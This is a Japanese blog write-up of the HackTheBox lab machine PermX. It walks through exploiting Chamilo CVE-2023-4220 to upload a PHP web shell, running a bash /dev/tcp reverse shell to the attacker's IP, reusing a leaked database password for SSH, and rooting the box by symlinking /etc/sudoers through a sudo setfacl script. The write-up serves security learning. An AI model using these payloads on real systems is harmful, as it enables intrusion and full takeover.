HackTheBox PermX WriteUp

今回はHackTheBoxのEasyマシン「PermX」のWriteUpです！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/ce65bccb-7f41-d281-44b2-6722f9cdd5ac.png)

グラフ的にはかなり簡単そうな感じですね。

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476


## PermX

### 列挙

それでは攻略を始めます。
まずは```nmap```でポートスキャンを行います。

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.23 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
```

22番と80番が開いていますね。ブラウザでWEBにアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/bb372d92-b427-f53f-e704-8a8042d8d803.png)

e-learningのページが表示されました。
WEB上にはいくつかボタンがありますが、特に気になるものはありませんでした。

表面上は一通り確認したので、ファジングを行います。```ffuf```を実行し、サブドメインを列挙しましょう。

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -u http://permx.htb -H 'HOST: FUZZ.permx.htb' -fc 302
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 733ms]
www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 192ms]
:: Progress: [151265/151265] :: Job [1/1] :: 212 req/sec :: Duration: [0:12:08] :: Errors: 0 ::
```

新たに```lms```と```www```というサブドメインを発見しました。```www```は通常の変わらなさそうなので、```lms```をhostsファイルに記述し、ブラウザでアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/060e1ff1-9606-f4ef-8303-eef9bd427bde.png)

Chamiloのログインページが表示されました。また、Burp Suiteでレスポンスを確認すると、Chamiloのバージョン「1」が使用されていることがわかりました。

### CVE-2023-4220

バージョンがわかったので、脆弱性がないかを確認すると、以下の記事を発見しました。

https://starlabs.sg/advisories/23/23-4220/

どうやら認証無しのファイルアップロードの脆弱性が存在しているようです。実際の攻撃手順も公開されているので、参考にしてWEBシェルをアップロードします。

まずは、WEBシェルとなるPHPファイルを用意する必要があるので、いつものやつを作成します。

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ echo '<?php system($_GET["cmd"]); ?>' > rce.php
```

作成できたら、```bigUpload.php```にアップロードのリクエストを送信します。

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' 
The file has successfully been uploaded.       
```

アップロードに成功していそうです。WEBシェルが機能するか確認してみましょう。

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```id```コマンドが実行できました！

## www-data としてのシェル

それでは、シェルを取得しましょう。使用するコマンドは以下です。

```bash
cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.8/2121 0>&1'
```

いつものやつですね。これをURLエンコードし、リクエストを送信します。
送信する前に待ち受けを忘れないでください。

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121         
listening on [any] 2121 ...
```

それではシェルを取得しましょう！

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%38%2f%32%31%32%31%20%30%3e%26%31%27'
```

特にレスポンスはありませんが、待ち受けを確認すると...

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121         
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.23] 43410
bash: cannot set terminal process group (1169): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami                 
www-data
```

シェルの取得に成功しました！

### 水平権限昇格

では、ユーザフラグ取得を目指し水平権限昇格を行います。
まずはホスト内に存在するユーザを確認しましょう。```/home```ディレクトリに対して```ls```を実行します。

```bash
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ls /home
mtz
```

```mtz```というユーザを発見しました。水平権限昇格の対象はこのユーザっぽいですね。
とりあえず、名前がわかったので名前で```grep```を実行しておきましょう。

```bash
www-data@permx:/var/www/chamilo$ grep 'mtz' -rl / 2>/dev/null
www-data@permx:/var/www/chamilo$
```

あまりにも時間がかかったので、途中で中止させましたが特に気になる情報は出力されませんでした。
```mtz```が所有するファイルも調べてみましょう。

```bash
www-data@permx:/var/www/chamilo$ find / -user mtz -type f 2>/dev/null
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/cgroup.procs
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/cgroup.threads
/sys/fs/cgroup/user.slice/user-1000.slice/user@1000.service/app.slice/cgroup.events
...
```

```/sys/fs```配下に```mtz```が所有するファイルがいくつかありましたが、特に気になるものはありませんでした。

### Config File

次のアプローチとして、WEBの設定ファイルから認証情報が取得できないか試します。
割と多くのマシンでWEBの設定ファイルから認証情報を取得できることがあるので、必ず確認するべき箇所です。ただ今回のマシンは少し問題があり...

```bash
www-data@permx:/var/www/chamilo$ ls -l
total 780
-rwxr-xr-x  1 www-data www-data   3348 Aug 31  2023 CODE_OF_CONDUCT.md
-rwxr-xr-x  1 www-data www-data   5627 Aug 31  2023 CONTRIBUTING.md
-rwxr-xr-x  1 www-data www-data  35147 Aug 31  2023 LICENSE
-rwxr-xr-x  1 www-data www-data   8074 Aug 31  2023 README.md
drwxr-xr-x 11 www-data www-data   4096 Aug 31  2023 app
-rwxr-xr-x  1 www-data www-data   4034 Aug 31  2023 apple-touch-icon.png
drwxr-xr-x  2 www-data www-data   4096 Aug 31  2023 bin
-rwxr-xr-x  1 www-data www-data   1140 Aug 31  2023 bower.json
drwxr-xr-x  2 www-data www-data   4096 Aug 31  2023 certificates
-rwxr-xr-x  1 www-data www-data   1195 Aug 31  2023 cli-config.php
-rwxr-xr-x  1 www-data www-data   1715 Aug 31  2023 codesize.xml
-rwxr-xr-x  1 www-data www-data   7006 Aug 31  2023 composer.json
-rwxr-xr-x  1 www-data www-data 601063 Aug 31  2023 composer.lock
drwxr-xr-x  4 www-data www-data   4096 Aug 31  2023 custompages
drwxr-xr-x  2 www-data www-data   4096 Aug 31  2023 documentation
-rwxr-xr-x  1 www-data www-data   2462 Aug 31  2023 favicon.ico
-rwxr-xr-x  1 www-data www-data   1225 Aug 31  2023 favicon.png
-rwxr-xr-x  1 www-data www-data   8990 Aug 31  2023 index.php
-rwxr-xr-x  1 www-data www-data   1614 Aug 31  2023 license.txt
drwxr-xr-x 60 www-data www-data   4096 Aug 31  2023 main
-rwxr-xr-x  1 www-data www-data    893 Aug 31  2023 news_list.php
drwxr-xr-x 80 www-data www-data   4096 Aug 31  2023 plugin
-rwxr-xr-x  1 www-data www-data    748 Aug 31  2023 robots.txt
drwxr-xr-x  3 www-data www-data   4096 Aug 31  2023 src
-rwxr-xr-x  1 www-data www-data   1314 Aug 31  2023 terms.php
-rwxr-xr-x  1 www-data www-data   1151 Aug 31  2023 user.php
-rwxr-xr-x  1 www-data www-data  13279 Aug 31  2023 user_portal.php
drwxr-xr-x 84 www-data www-data   4096 Aug 31  2023 vendor
drwxr-xr-x  5 www-data www-data   4096 Jan 20 18:20 web
-rwxr-xr-x  1 www-data www-data   5780 Aug 31  2023 web.config
-rwxr-xr-x  1 www-data www-data   2031 Aug 31  2023 whoisonline.php
-rwxr-xr-x  1 www-data www-data   4037 Aug 31  2023 whoisonlinesession.php
```

大量のファイル、ディレクトリがあるので一つ一つ確認していくのはかなり大変です。
こういう時は先ほど実行した```grep```を使用します。

```bash
www-data@permx:/var/www/chamilo$ grep 'password' -rl ./ 2>/dev/null
./composer.lock
./documentation/installation_guide_es_ES.html
...
./app/config/events.conf.dist.php
./app/config/parameters.yml.dist
./app/config/sonata/sonata_cache.yml
./app/config/auth.conf.php
./app/config/events.conf.php
./app/config/auth.conf.dist.php
./app/config/routing_front.yml
./app/config/profile.conf.dist.php
./app/config/config.yml
./app/config/configuration.php
./app/config/profile.conf.php
...
./LICENSE
./cli-config.php
```

多くのファイルが出力されましたが、まだ目で見れる程度の量です。ざーっと上から見ていくと、```./app/config```配下にある```configuration.php```が目につきました。内容を確認してみましょう。

```bash
www-data@permx:/var/www/chamilo$ cat ./app/config/configuration.php | grep password   
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
// Security word for password recovery
$_configuration['password_encryption'] = 'bcrypt';
// Set to true to allow automated password conversion after login if
// password_encryption has changed since last login. See GH#4063 for details.
//$_configuration['password_conversion'] = false;
// Customize password generation and verification
/*$_configuration['password_requirements'] = [
    'force_different_password' => false,
// Send two emails when creating a user. One with the username other with the password.
// Validate user login via a webservice, Chamilo will send a "login" and "password" parameters
        'wget_password' => '',
// Use this link as the "Forgot password?" link instead of the default. This setting should be transformed into a hook for plugins at a later time
// Show/Hide password field in user profile. Adds a customizable link depending on the user status.
$_configuration['auth_password_links'] = [
                'show_password_field' => false,
                'show_password_field' => true,
// Ask user to renew password at first login.
// Requires a user checkbox extra field called "ask_new_password".
//$_configuration['force_renew_password_at_first_login'] = true;
// Add the "remember password" link to the "subscription to session" confirmation email
//$_configuration['email_template_subscription_to_session_confirmation_lost_password'] = false;
```

DBのパスワードが出力されています！

## mtz としてのシェル

本来であれば、この情報を使用してDBにアクセスしますが、```mtz```というユーザ名もわかっているので、パスワードが使いまわしされていないか試してみましょう。

```bash
+[~/permx]
(σ▰>∇<)σ<10.10.14.8>$ ssh mtz@10.10.11.23   
mtz@10.10.11.23s password:

mtz@permx:~$ whoami
mtz
```

SSH接続に成功しました！水平権限昇格達成です。

```bash
mtz@permx:~$ ls -l
total 4
-rw-r----- 1 root mtz 33 Jul 12 02:38 user.txt
```

ユーザフラグも取得できました！

### 垂直権限昇格

それでは、ここから```root```を目指し垂直権限昇格を行います
いつものように```sudo -l```から実行していきましょう。

```bash
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
```

```/opt/acl.sh```がパスワードを必要とせず実行できるようですね。
スクリプトの内容を確認してみましょう。

```sh
mtz@permx:~$ cat /opt/acl.sh
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
```

どうやらこのスクリプトは指定したファイルの権限を編集するもののようです。

### sudo setfacl

スクリプトで一番注目すべき点は、最終的に```sudo setfacl```が実行されている箇所です。

```bash
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
```

```setfacl```は、指定したファイルに対して権限を付与するもので、```acl.sh```を実行する際に指定する引数がそれぞれ```user```、```perm```、```target```に入ります。

:::note info
```setfacl```を実行するときに注意する点は、```target```で指定できる範囲を確実に絞ることです。任意のファイルが指定できてしまうと、すべてのファイルにアクセスされてしまうので、権限昇格/情報漏洩に繋がります。
:::

今回のスクリプトでは、以下の部分で範囲を絞っています。

```bash
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi
```

これは```/home/mtz```配下のファイルのみ指定できることを示しています。これにより、普通の使い方をする限り任意のファイルを指定することはできないのですが、```setfacl```にはシンボリックリンクが使用できます。

:::note alert
シンボリックリンクを悪用し、```/home/mtz```配下に配置したファイルを```/etc/sudoers```や```/etc/shadow```などのファイルにリンクさせることで、権限が変更できます。
:::

今回は```/etc/sudoers```を編集することにします。シンボリックリンクを作成しましょう。

```bash
mtz@permx:~$ ln -s /etc/sudoers ./0xsh
```

シンボリックリンクが作成できたので、```/opt/acl.sh```を実行し権限を変更します。

```bash
mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/0xsh
```

あとはこのファイルを編集します。

```bash
mtz@permx:~$ nano /home/mtz/0xsh
```

ファイルの一番下に以下の文字を追加しましょう。

```bash
mtz ALL=(ALL:ALL) ALL
```

追加できたら「Cntl+X -> Y」で保存します。
これですべてのコマンドを```sudo```を使用して実行できるようになりました。

## root としてのシェル

では、権限を昇格させましょう。

```bash
mtz@permx:~$ sudo -i
[sudo] password for mtz: 
root@permx:~# whoami
root
```

垂直権限昇格に成功しました！

```bash
root@permx:~# ls -l
total 12
drwxr-xr-x 2 root root 4096 Jun  5 12:25 backup
-rwxr-xr-x 1 root root  354 Jun  6 05:25 reset.sh
-rw-r----- 1 root root   33 Jul 12 02:38 root.txt
```

ルートフラグも取得でき、完全攻略達成です～！